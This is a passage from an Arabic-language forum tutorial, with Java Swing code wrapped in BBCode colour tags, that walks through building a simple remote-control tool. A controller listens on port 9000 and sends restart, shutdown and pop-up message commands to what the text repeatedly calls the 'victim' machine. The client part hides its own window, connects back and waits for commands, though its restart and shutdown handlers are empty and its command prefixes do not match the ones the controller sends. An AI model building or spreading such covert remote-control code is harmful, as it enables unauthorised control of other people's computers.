                .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jPanel2[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]DEFAULT_SIZE[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][COLOR=#007700])
                .[/COLOR][color=#0000bb]addPreferredGap[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]LayoutStyle[/color][color=#007700].[/color][color=#0000bb]ComponentPlacement[/color][color=#007700].[/color][color=#0000bb]RELATED[/color][COLOR=#007700])
                .[/COLOR][color=#0000bb]addComponent[/color][color=#007700]([/color][color=#0000bb]jPanel1[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]DEFAULT_SIZE[/color][color=#007700], [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]PREFERRED_SIZE[/color][COLOR=#007700])
                .[/COLOR][color=#0000bb]addContainerGap[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]DEFAULT_SIZE[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700]))
        );

        [/COLOR][color=#0000bb]pack[/color][COLOR=#007700]();
    }[/COLOR][COLOR=#ff8000]// </editor-fold>
      
[/COLOR][color=#007700]private [/color][color=#0000bb]void btnRestartActionPerformed[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]ActionEvent evt[/color][COLOR=#007700]) {                                          
if([/COLOR][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]getText[/color][color=#007700]().[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#dd0000]"Connected ..."[/color][COLOR=#007700])){
    [/COLOR][color=#0000bb]String m [/color][color=#007700]= [/color][color=#dd0000]"&Restart"[/color][COLOR=#007700];
    [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
    [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
}
  
}                                          

private [/COLOR][color=#0000bb]void btnTurnOffActionPerformed[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]ActionEvent evt[/color][COLOR=#007700]) {                                          
if([/COLOR][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]getText[/color][color=#007700]().[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#dd0000]"Connected ..."[/color][COLOR=#007700])){
    [/COLOR][color=#0000bb]String m [/color][color=#007700]= [/color][color=#dd0000]"&TurnOff"[/color][COLOR=#007700];
    [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
    [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
}
}  
[/COLOR][color=#0000bb][/color][/COLOR]


كود :
[color=#000000][COLOR=#0000bb][/color][color=#007700]private [/color][color=#0000bb]void btnSendActionPerformed[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]ActionEvent evt[/color][COLOR=#007700]) {                                        
if ([/COLOR][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]getText[/color][color=#007700]().[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#dd0000]"Connected ..."[/color][COLOR=#007700])){
    if ([/COLOR][color=#0000bb]jTextField1[/color][color=#007700].[/color][color=#0000bb]getText[/color][color=#007700]().[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#dd0000]""[/color][COLOR=#007700])){
        [/COLOR][color=#0000bb]JOptionPane[/color][color=#007700].[/color][color=#0000bb]showMessageDialog[/color][color=#007700]([/color][color=#0000bb]null[/color][color=#007700], [/color][color=#dd0000]"Please Enter Message"[/color][COLOR=#007700]);
    }else{
        [/COLOR][color=#0000bb]String m [/color][color=#007700]=[/color][color=#dd0000]"Message - "[/color][color=#007700]+[/color][color=#0000bb]jTextField1[/color][color=#007700].[/color][color=#0000bb]getText[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]jTextField1[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]""[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]jTextField1[/color][color=#007700].[/color][color=#0000bb]requestFocus[/color][COLOR=#007700]();
    }
}
}                                      

private [/COLOR][color=#0000bb]void formWindowOpened[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowEvent evt[/color][COLOR=#007700]) {                                  
  [/COLOR][color=#0000bb]CnnectTh cth [/color][color=#007700]= new [/color][color=#0000bb]CnnectTh[/color][COLOR=#007700]();
  [/COLOR][color=#0000bb]cth[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();
}                                


       public static [/COLOR][color=#0000bb]void main[/color][color=#007700]([/color][color=#0000bb]String args[/color][COLOR=#007700][]) {
    
        [/COLOR][COLOR=#ff8000]//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
        /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
         * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
         */
        [/COLOR][COLOR=#007700]try {
            for ([/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UIManager[/color][color=#007700].[/color][color=#0000bb]LookAndFeelInfo info [/color][color=#007700]: [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UIManager[/color][color=#007700].[/color][color=#0000bb]getInstalledLookAndFeels[/color][COLOR=#007700]()) {
                if ([/COLOR][color=#dd0000]"Nimbus"[/color][color=#007700].[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#0000bb]info[/color][color=#007700].[/color][color=#0000bb]getName[/color][COLOR=#007700]())) {
                    [/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UIManager[/color][color=#007700].[/color][color=#0000bb]setLookAndFeel[/color][color=#007700]([/color][color=#0000bb]info[/color][color=#007700].[/color][color=#0000bb]getClassName[/color][COLOR=#007700]());
                    break;
                }
            }
        } catch ([/COLOR][color=#0000bb]ClassNotFoundException ex[/color][COLOR=#007700]) {
            [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
        } catch ([/COLOR][color=#0000bb]InstantiationException ex[/color][COLOR=#007700]) {
            [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
        } catch ([/COLOR][color=#0000bb]IllegalAccessException ex[/color][COLOR=#007700]) {
            [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
        } catch ([/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UnsupportedLookAndFeelException ex[/color][COLOR=#007700]) {
            [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
        }
        [/COLOR][COLOR=#ff8000]//</editor-fold>

      
        [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]EventQueue[/color][color=#007700].[/color][color=#0000bb]invokeLater[/color][color=#007700](new [/color][color=#0000bb]Runnable[/color][COLOR=#007700]() {

            public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700]() {
                new [/COLOR][color=#0000bb]Frame[/color][color=#007700]().[/color][color=#0000bb]setVisible[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);                      
            }
        });
    }  
[/COLOR][color=#0000bb][/color][/COLOR]

نأتي الي تفسير النقاط الهامة من الكود ..

كود :
[color=#000000][COLOR=#0000bb]import java[/color][color=#007700].[/color][color=#0000bb]net[/color][COLOR=#007700].*;
[/COLOR][color=#0000bb]import javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JOptionPane[/color][COLOR=#007700];
[/COLOR][color=#0000bb]import java[/color][color=#007700].[/color][color=#0000bb]io[/color][COLOR=#007700].*;  
[/COLOR][color=#0000bb][/color][/COLOR]
المكتبة الاولي و الثالة مكتبات خاصة لعمليات القرائة و الكتابة عبر النظام IO و الشبكة NET ..


كود :
[color=#000000][COLOR=#0000bb]ServerSocket Servers[/color][COLOR=#007700];
[/COLOR][color=#0000bb]Socket soc[/color][COLOR=#007700];
[/COLOR][color=#0000bb]DataInputStream in[/color][COLOR=#007700];
[/COLOR][color=#0000bb]PrintStream out[/color][COLOR=#007700];  
[/COLOR][color=#0000bb][/color][/COLOR]

المتغير ServerSocket و هو الجهاز المتحكم عبر الشبكة ..
متغير من نوع Socket
متغير in لعمليات الكتابة و الادخال في الشبكة ..
متغير out لعمليات القرائة عبر الشبكة ..

كود :
[color=#000000][COLOR=#0000bb][/color][color=#007700]public class [/color][color=#0000bb]CnnectTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
     public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
         try{
          [/COLOR][color=#0000bb]Servers [/color][color=#007700]= new [/color][color=#0000bb]ServerSocket[/color][color=#007700]([/color][color=#0000bb]9000[/color][COLOR=#007700]);
          [/COLOR][color=#0000bb]soc [/color][color=#007700]= [/color][color=#0000bb]Servers[/color][color=#007700].[/color][color=#0000bb]accept[/color][COLOR=#007700]();
          [/COLOR][color=#0000bb]in [/color][color=#007700]= new [/color][color=#0000bb]DataInputStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getInputStream[/color][COLOR=#007700]());
          [/COLOR][color=#0000bb]out [/color][color=#007700]= new [/color][color=#0000bb]PrintStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getOutputStream[/color][COLOR=#007700]());
          [/COLOR][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]"Connected ..."[/color][COLOR=#007700]);
          [/COLOR][color=#0000bb]btnSend[/color][color=#007700].[/color][color=#0000bb]setEnabled[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
          [/COLOR][color=#0000bb]btnTurnOff[/color][color=#007700].[/color][color=#0000bb]setEnabled[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
          [/COLOR][color=#0000bb]btnRestart[/color][color=#007700].[/color][color=#0000bb]setEnabled[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
         }catch([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){
           [/COLOR][color=#0000bb]JOptionPane[/color][color=#007700].[/color][color=#0000bb]showMessageDialog[/color][color=#007700]([/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]e[/color][color=#007700].[/color][color=#0000bb]getMessage[/color][COLOR=#007700]());
         }
     }
}  
[/COLOR][color=#0000bb][/color][/COLOR]

و هو احدي الفئات الرئيسية في البرنامج و من نوع ليحقق استمرار عملية الاتصال عبر الشبكة
و جعلنا قيمة المنفذ الخاص بالسوكت هي 9000
و جعلنا المتغير soc من نوع سيرفر ..
في السطر الثالث و الرابع .. اسندنا قيمة للمتغير in ليقوم باحضار البيانات عبر الشبكة ..
و اسندنا قيمة للمتغير out ليقوم باخراج البيانات عبر الشبكة ..
في السطر الخامس جعلنا مسمي اداة الليبل "Connected ..." اي اذا تحقق اتصال غير مسمي الاداة ..

كود زر Restart ...

كود :
[color=#000000][COLOR=#0000bb][/color][color=#007700]if([/color][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]getText[/color][color=#007700]().[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#dd0000]"Connected ..."[/color][COLOR=#007700])){
    [/COLOR][color=#0000bb]String m [/color][color=#007700]= [/color][color=#dd0000]"&Restart"[/color][COLOR=#007700];
    [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
    [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);  
[/COLOR][color=#0000bb][/color][/COLOR]

في حالة تحقق الاتصال بالضحية .. يقوم هذا الكود بعمل اعادة تشغيل للجهاز البعيد
من خلال المتغير النصي M و الذي يحوي معلومات عن عملية اعادة تشغيل جهاز الضحية من خلال العبارة "&Restart" و الذي يفهمها جهاز الضحية علي انها اعادة تشغيل فوري ..

كود زر ShutDown ...

كود :
[color=#000000][COLOR=#0000bb][/color][color=#007700]if([/color][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]getText[/color][color=#007700]().[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#dd0000]"Connected ..."[/color][COLOR=#007700])){
    [/COLOR][color=#0000bb]String m [/color][color=#007700]= [/color][color=#dd0000]"&TurnOff"[/color][COLOR=#007700];
    [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
    [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
}  
[/COLOR][color=#0000bb][/color][/COLOR]

و هو علي نفس نمط كود اعادة التشغيل و يستخدم في ايقاف تشغيل جهاز الضحية ...

كود زر الارسال ....

كود :
[color=#000000][COLOR=#0000bb][/color][color=#007700]if ([/color][color=#0000bb]lblState[/color][color=#007700].[/color][color=#0000bb]getText[/color][color=#007700]().[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#dd0000]"Connected ..."[/color][COLOR=#007700])){
    if ([/COLOR][color=#0000bb]jTextField1[/color][color=#007700].[/color][color=#0000bb]getText[/color][color=#007700]().[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#dd0000]""[/color][COLOR=#007700])){
        [/COLOR][color=#0000bb]JOptionPane[/color][color=#007700].[/color][color=#0000bb]showMessageDialog[/color][color=#007700]([/color][color=#0000bb]null[/color][color=#007700], [/color][color=#dd0000]"Please Enter Message"[/color][COLOR=#007700]);
    }else{
        [/COLOR][color=#0000bb]String m [/color][color=#007700]=[/color][color=#dd0000]"Message - "[/color][color=#007700]+[/color][color=#0000bb]jTextField1[/color][color=#007700].[/color][color=#0000bb]getText[/color][COLOR=#007700]();
        [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]out[/color][color=#007700].[/color][color=#0000bb]println[/color][color=#007700]([/color][color=#0000bb]m[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]jTextField1[/color][color=#007700].[/color][color=#0000bb]setText[/color][color=#007700]([/color][color=#dd0000]""[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]jTextField1[/color][color=#007700].[/color][color=#0000bb]requestFocus[/color][COLOR=#007700]();
    }
}  
[/COLOR][color=#0000bb][/color][/COLOR]

في حال تحقق عملية الاتصال .. تتبع هذا الشرط :
ان كان jTextField1 خالي اظهر رسالة تفيد بوضع نص قبل الارسال ..
و المتغير M عبارة عن النص المرفق الذي سيتم ارسالة الي جهاز الضحية ..

الحدث المقابل لحدث Load و هو FormWindowOpened نضع فيه التالي ...

كود :
[color=#000000][COLOR=#0000bb][/color][color=#007700]private [/color][color=#0000bb]void formWindowOpened[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowEvent evt[/color][COLOR=#007700]) {                                  
  [/COLOR][color=#0000bb]CnnectTh cth [/color][color=#007700]= new [/color][color=#0000bb]CnnectTh[/color][COLOR=#007700]();
  [/COLOR][color=#0000bb]cth[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();
}  
[/COLOR][color=#0000bb][/color][/COLOR]

لتحقيق عملية الاتصال لدي فتح الفورم ..
}}}}
تم الشكر بواسطة:
#2
و هو عبارة عن فورمة خالية ..

كود :
[color=#000000][COLOR=#0000bb]import java[/color][color=#007700].[/color][color=#0000bb]net[/color][COLOR=#007700].*;
[/COLOR][color=#0000bb]import java[/color][color=#007700].[/color][color=#0000bb]io[/color][COLOR=#007700].*;
[/COLOR][color=#0000bb]import javax[/color][color=#007700].[/color][color=#0000bb]crypto[/color][color=#007700].[/color][color=#0000bb]NullCipher[/color][COLOR=#007700];
[/COLOR][color=#0000bb]import javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JOptionPane[/color][COLOR=#007700];

public class [/COLOR][color=#0000bb]Frame [/color][color=#007700]extends [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JFrame [/color][COLOR=#007700]{

    public [/COLOR][color=#0000bb]Frame[/color][COLOR=#007700]() {
        [/COLOR][color=#0000bb]initComponents[/color][COLOR=#007700]();
    }
    
  [/COLOR][color=#0000bb]Socket soc[/color][COLOR=#007700];
  [/COLOR][color=#0000bb]DataInputStream in[/color][COLOR=#007700];
  [/COLOR][color=#0000bb]PrintStream out[/color][COLOR=#007700];
      
public class [/COLOR][color=#0000bb]ConnectTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
    public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
        try{
            [/COLOR][color=#0000bb]soc [/color][color=#007700]= new [/color][color=#0000bb]Socket[/color][color=#007700]([/color][color=#dd0000]"127.0.0.1"[/color][color=#007700],[/color][color=#0000bb]9000[/color][COLOR=#007700]);
            [/COLOR][color=#0000bb]in [/color][color=#007700]= new [/color][color=#0000bb]DataInputStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getInputStream[/color][COLOR=#007700]());
            [/COLOR][color=#0000bb]out [/color][color=#007700]= new [/color][color=#0000bb]PrintStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getOutputStream[/color][COLOR=#007700]());
        }catch([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){}
        }
    }  
[/COLOR][/COLOR]


كود :
[color=#000000][COLOR=#007700]public class [/color][color=#0000bb]ListenTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
    public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
        while ([/COLOR][color=#0000bb]true[/color][COLOR=#007700]){
            try{
                if([/COLOR][color=#0000bb]in[/color][color=#007700].[/color][color=#0000bb]readLine[/color][color=#007700]().[/color][color=#0000bb]length[/color][color=#007700]()>[/color][color=#0000bb]1[/color][COLOR=#007700])
                    [/COLOR][color=#0000bb]NewJob[/color][color=#007700]([/color][color=#0000bb]in[/color][color=#007700].[/color][color=#0000bb]readLine[/color][COLOR=#007700]());
            }catch ([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){}
            }
        }
    }

public [/COLOR][color=#0000bb]void NewJob[/color][color=#007700]([/color][color=#0000bb]String m[/color][COLOR=#007700]){
    if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]startsWith[/color][color=#007700]([/color][color=#dd0000]"Message - "[/color][COLOR=#007700])){
        [/COLOR][color=#0000bb]String x [/color][color=#007700]= [/color][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]substring[/color][color=#007700]([/color][color=#0000bb]10[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]JOptionPane[/color][color=#007700].[/color][color=#0000bb]showMessageDialog[/color][color=#007700]([/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]x[/color][COLOR=#007700]);
       }else if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]startsWith[/color][color=#007700]([/color][color=#dd0000]"$TurnOff"[/color][COLOR=#007700])){
        [/COLOR][color=#0000bb]String p [/color][color=#007700]= [/color][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]substring[/color][color=#007700]([/color][color=#0000bb]9[/color][COLOR=#007700]);
      
    }else if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]startsWith[/color][color=#007700]([/color][color=#dd0000]"$Restart"[/color][COLOR=#007700])){
        [/COLOR][color=#0000bb]String p [/color][color=#007700]= [/color][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]substring[/color][color=#007700]([/color][color=#0000bb]9[/color][COLOR=#007700]);
        
    }
}

    @[/COLOR][color=#0000bb]SuppressWarnings[/color][color=#007700]([/color][color=#dd0000]"unchecked"[/color][COLOR=#007700])
    [/COLOR][COLOR=#ff8000]// <editor-fold defaultstate="collapsed" desc="Generated Code">                          
    [/COLOR][color=#007700]private [/color][color=#0000bb]void initComponents[/color][COLOR=#007700]() {

        [/COLOR][color=#0000bb]setDefaultCloseOperation[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]WindowConstants[/color][color=#007700].[/color][color=#0000bb]EXIT_ON_CLOSE[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]setType[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]Window[/color][color=#007700].[/color][color=#0000bb]Type[/color][color=#007700].[/color][color=#0000bb]UTILITY[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]setUndecorated[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]addWindowListener[/color][color=#007700](new [/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowAdapter[/color][COLOR=#007700]() {
            public [/COLOR][color=#0000bb]void windowOpened[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowEvent evt[/color][COLOR=#007700]) {
                [/COLOR][color=#0000bb]formWindowOpened[/color][color=#007700]([/color][color=#0000bb]evt[/color][COLOR=#007700]);
            }
        });

        [/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout layout [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700]([/color][color=#0000bb]getContentPane[/color][COLOR=#007700]());
        [/COLOR][color=#0000bb]getContentPane[/color][color=#007700]().[/color][color=#0000bb]setLayout[/color][color=#007700]([/color][color=#0000bb]layout[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]setHorizontalGroup[/color][COLOR=#007700](
            [/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
            .[/COLOR][color=#0000bb]addGap[/color][color=#007700]([/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700])
        );
        [/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]setVerticalGroup[/color][COLOR=#007700](
            [/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
            .[/COLOR][color=#0000bb]addGap[/color][color=#007700]([/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700])
        );

        [/COLOR][color=#0000bb]pack[/color][COLOR=#007700]();
    }[/COLOR][COLOR=#ff8000]// </editor-fold>                        
[/COLOR][color=#0000bb]this[/color][color=#007700].[/color][color=#0000bb]hide[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]ConnectTh cTh [/color][color=#007700]= new [/color][color=#0000bb]ConnectTh[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]cTh[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();
